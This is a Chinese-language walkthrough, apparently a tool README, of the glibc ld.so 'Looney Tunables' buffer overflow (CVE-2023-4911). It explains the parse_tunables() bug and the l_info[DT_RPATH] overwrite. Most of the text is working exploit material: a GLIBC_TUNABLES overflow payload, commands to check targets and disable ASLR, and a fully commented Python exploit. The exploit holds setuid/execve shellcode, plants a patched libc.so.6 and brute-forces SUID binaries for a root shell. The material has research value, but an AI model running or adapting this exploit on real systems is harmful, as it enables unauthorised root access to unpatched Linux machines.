ld.so 解析二进制文件并尝试查找与 `<openssl/md5.h>` 相关的库```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

传递 --list-tunables 给动态加载器以打印所有可调参数及其最小值和最大值：```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

parse_tunables() 的第一个参数（tunestr）指向即将被清理的 GLIBC_TUNABLES 副本，而第二个参数（valstring）指向原始的 GLIBC_TUNABLES 环境变量（位于栈中）。为了清理 GLIBC_TUNABLES 的副本（其格式应为 "tunable1=`aaa:tunable2=bbb"`），parse_tunables() 会从 tunestr 中移除所有危险的 tunable（即 SXID_ERASE 类型的 tunable），但保留 SXID_IGNORE 和 NONE 类型的 tunable（位于第 221-235 行）：```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

有效载荷：```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

##### 覆盖即将分配的 link_map 结构体的指针
>ld.so 使用 calloc() 为该 link_map 结构体分配内存，因此没有显式地将其各种成员初始化为零；这是一种合理的优化。如前所述，这里的 calloc() 并非 glibc 的 calloc()，而是 ld.so 的 `__minimal_calloc()`，它会调用 `__minimal_malloc()` *而不* 显式地将返回的内存初始化为零；这也是一种合理的优化，因为实际上 `__minimal_malloc()` 总是返回一块干净的 mmap() 内存，而内核保证该内存会被初始化为零。
>
> 不幸的是，parse_tunables() 中的缓冲区溢出使我们能够用非零字节覆盖干净的 mmap() 内存，从而用非 NULL 值覆盖即将分配的 link_map 结构体的指针。这让我们能够完全打破 ld.so 的逻辑，因为 ld.so 假定这些指针为 NULL。

#### 溢出思路
> 我们意识到，link_map 结构体中许多指针并未显式初始化为 NULL；尤其是 l_info[] 指针数组中指向 Elf64_Dyn 结构体的指针。其中，`l_info[DT_RPATH]`（"库搜索路径"）立即引起了我们的注意：如果我们覆盖该指针并控制其指向的位置及内容，那么我们就可以强制 ld.so 信任一个我们拥有的目录，从而从该目录加载我们自己的 libc.so.6 或 LD_PRELOAD 库，并执行任意代码（如果我们通过 SUID-root 程序运行 ld.so，则具有 root 权限）。

> 被覆盖的 `l_info[DT_RPATH]` 应指向何处？这个问题的简单答案是：栈；更准确地说，是指向栈中我们的环境字符串。在 Linux 上，栈在一个 16GB 的区域内随机化，我们的环境字符串最多可占用 6MB（_STK_LIM / 4 * 3，位于内核的 bprm_stack_limits() 中）：经过 16GB / 6MB = 2730 次尝试，我们就有很大机会猜中环境字符串的地址（在我们的漏洞利用中，我们总是将 `l_info[DT_RPATH]` 覆盖为 0x7ffdfffff010，即随机化栈区域的中心）。在我们的测试中，这种暴力破解在 Debian 上大约需要 30 秒，在 Ubuntu 和 Fedora 上大约需要 5 分钟（原因在于它们的自动崩溃处理程序 Apport 和 ABRT；我们尚未尝试绕过这种速度下降）。

> 被覆盖的 l_info[DT_RPATH] 应指向什么内容？
> 在我们的漏洞利用中，我们简单地将 6MB 的环境字符串填充为 0xfffffffffffffff8 (-8)，因为在大多数 SUID-root 程序的字符串表偏移 -8B 处，会出现字符串 "\x08"：这会强制 ld.so 信任当前工作目录中名为 "\x08" 的相对目录，从而允许我们以 root 权限从该目录加载并执行自己的 libc.so.6 或 LD_PRELOAD 库。

方案：
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### .DYNSTR 中偏移 -8 处的 "\x08" 字节：
!["\x08" byte in xxd](https://assets.kitploit.com/production/public/readmes/37285/f7e47c7603cfe523799c8ebc0bf1265caaeb0dcf3924bf92cea7f204127490bf.png)

## PoC 本地提权：
我正在使用旧的 Kali Linux 快照来测试 PoC。让我们检查它是否易受攻击：```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1]    7995 segmentation fault  env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"  /usr/bin/s

  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

因此，我们的 ld.so 构建 ID 不在目标列表中，让我们修复它！
禁用 ASLR:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

那么，我们的POC脚本找到了一些有用的偏移量，让我们将ld.so的构建ID和偏移量添加到脚本中：
![TARGETS set in code](https://assets.kitploit.com/production/public/readmes/37285/3a1ab26b738c731b061b05bd2515afa9cc41b4d23158f37daa27a05d8a86f4ad.png)
返回ASLR：```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"

  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

它有效！

它也能与其他SUID文件一起工作：```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>

  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

### 那么，让我们看看 PoC 脚本：
在 PoC 脚本的开头，我们有一个字典 ARCH，其中包含一些**处理器架构**（我只保留了 x86_64，因为我使用的是它）。
在这个字典中，我们有
* "shellcode": 用于以 root 权限生成 ""/bin/sh""
* "exitcode": 它也是 shellcode，但执行 exit(0x66)
* "stack_top": 这是 x86_64 上栈的最大可能地址
* "stack_aslr_bits": 是 x86_64 上的熵位数（由 ASLR 改变的位数）```python
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py

import binascii
# <SNIP>
from shutil import which

unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))

ARCH = {
    "x86_64": {
        "shellcode": unhex(
            "31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),  # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
        "exitcode": unhex("6a665f6a3c580f05"),  # asm(shellcraft.exit(0x66)).hex()
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 30,  # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
    }
}

Exitcode disassemble```nasm
   0:   6a 66                   push   0x66
   2:   5f                      pop    rdi
   3:   6a 3c                   push   0x3c
   5:   58                      pop    rax
   6:   0f 05                   syscall

然后，有许多函数根据其功能命名，并且大部分都可以被pwntools库中的方法替代。因此，我认为没有必要详细讨论它们，除了其中一些函数。```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):  
    # heap meh shui
    if bits == 64:
        env = [  # Actual vulnerability exploit (buffer overflow)
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
        ]

        pad = 172
        fill = 47
    else:
        env = [
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
        ]

        pad = 87
        fill = 47 * 2

    for j in range(pad):  # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    if bits == 64:  # overwrite l_info[DT_RPATH] pointer with pointer to stack
        env.append(struct.pack("<Q", addr))
        env.append(b"")
    else:
        env.append(struct.pack("<L", addr))

    for i in range(384):   # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    for i in range(fill):  # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
        if bits == 64:
            env.append(
                struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
            )
        else:
            env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)

    env.append(None)
    return env


if __name__ == "__main__":
    banner()  # just print bunner

    machine = os.uname().machine  # uname of machine

    if machine not in ARCH.keys():
        error("architecture '%s' not supported" % machine)

    print("[i] libc = %s" % lib_path("c").decode())  # print libc path

    if len(sys.argv) == 1:  # check if user pass SUID binary as args, if no use "su" binary
        suid_path = which("su")
        suid_args = ["--help"]
    else:
        suid_path = sys.argv[1]
        suid_args = sys.argv[2:]

    lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8  # Some value

    print(f"[DEBUG] -> LSB: {lsb}")

    print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args))  # print suid binary path with args

    suid_e = lazy_elf(suid_path)  # generate lazy_elf object with SUID binary

    ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()  # get ld_path from suid binary .interp section

    ld_e = lazy_elf(ld_path)   # generate lazy_elf object with ld.so binary

    print("[i] ld.so = %s" % ld_path)  # print ld.so path

    ld_build_id = binascii.hexlify(  # get ld.so build id from ".note.gnu.build-id" section
        ld_e.section_by_name(".note.gnu.build-id")[-20:]
    ).decode()

    print("[i] ld.so build id = %s" % ld_build_id)  # print ld.so build id

    libc_e = lazy_elf(lib_path("c"))    # generate lazy_elf object with libc.so.6 binary

    __libc_start_main = libc_e.symbol("__libc_start_main")  # find offset of __libc_start_main function in libc

    if __libc_start_main == None:  # if can't find __libc_start_main
        error("could not resolve __libc_start_main")

    print("[i] __libc_start_main = 0x%x" % __libc_start_main)  # print offset of __libc_start_main

    offset = suid_e.shdr_by_name(".dynstr")["offset"]  # Find offset of .dynstr section
    print(f"[DEBUG] -> .DYNSTR offset: {offset}")
    hax_path = find_hax_path(suid_e.d, offset)  # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
    if hax_path is None:  #  error if not find hax
        error("could not find hax path")

    print(  # print hax
        "[i] using hax path %s at offset %d"
        % (
            hax_path["path"],
            hax_path["offset"],
        )
    )

    if not os.path.exists(hax_path["path"]):  # create folder ("\x08" to place libc there later)
        os.mkdir(hax_path["path"])

    argv = build_argv([suid_path] + suid_args)  # just get array of arguments ( ["su", "--help", None] )

    shellcode = (  # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
        ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
    )

    with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:  # open folder "\x08" and write patched (with shellcode) libc.so.6 there
        fh.write(libc_e.d[0:__libc_start_main])  # all before __libc_start_main
        fh.write(shellcode)  # shellcode
        fh.write(libc_e.d[__libc_start_main + len(shellcode) :])  # all after shellcode
    print("[i] wrote patched libc.so.6")

    if not is_aslr_enabled():  # if ASLR is not enabled
        print("[i] ASLR is not enabled, attempting to find usable offsets")

        stack_addr = ARCH[machine]["stack_top"] - 0x1F00
        stack_addr += lsb

        print("[i] using stack addr 0x%x" % stack_addr)

        for adjust in range(128, 1024):
            env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
            r = spawn(suid_path.encode(), argv, env)
            if r == 0x66:
                print(
                    "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                )

    else:
        if ld_build_id not in TARGETS.keys():  # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
            error("no target info found for build id %s" % ld_build_id)

        stack_addr = ARCH[machine]["stack_top"] - (  # calculate minimum address of stack
            1 << (ARCH[machine]["stack_aslr_bits"] - 1)
        )
        # In [11]: hex(1 << 29)
        # Out[11]: '0x20000000'

        # In [12]: hex(0x800000000000 - 0x20000000)
        # Out[12]: '0x7fffe0000000'

        print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
        stack_addr += lsb
        # avoid NULL bytes in guessy addr (out of sheer laziness really)
        for i in range(6 if suid_e.bits == 64 else 4):  # some calculations to find usable offset in stack
            if (stack_addr >> (i * 8)) & 0xFF == 0:
                stack_addr |= 0x10 << (i * 8)

        print("[i] using stack addr 0x%x" % stack_addr)

        env = build_env(  # create malicious environment variables (with overflow and stack overwrite)
            TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
        )

        # print(f"[DEBUG] -> ENV: {env}")

        cnt = 1
        while True:
            if cnt % 0x10 == 0:  # print "." every 10 executions
                sys.stdout.write(".")
                sys.stdout.flush()
            if spawn(suid_path.encode(), argv, env) == 0x1337:  # spawn process of SUID with malicious environment variables
                print("goodbye. (took %d tries)" % cnt)
                exit(0)
            cnt += 1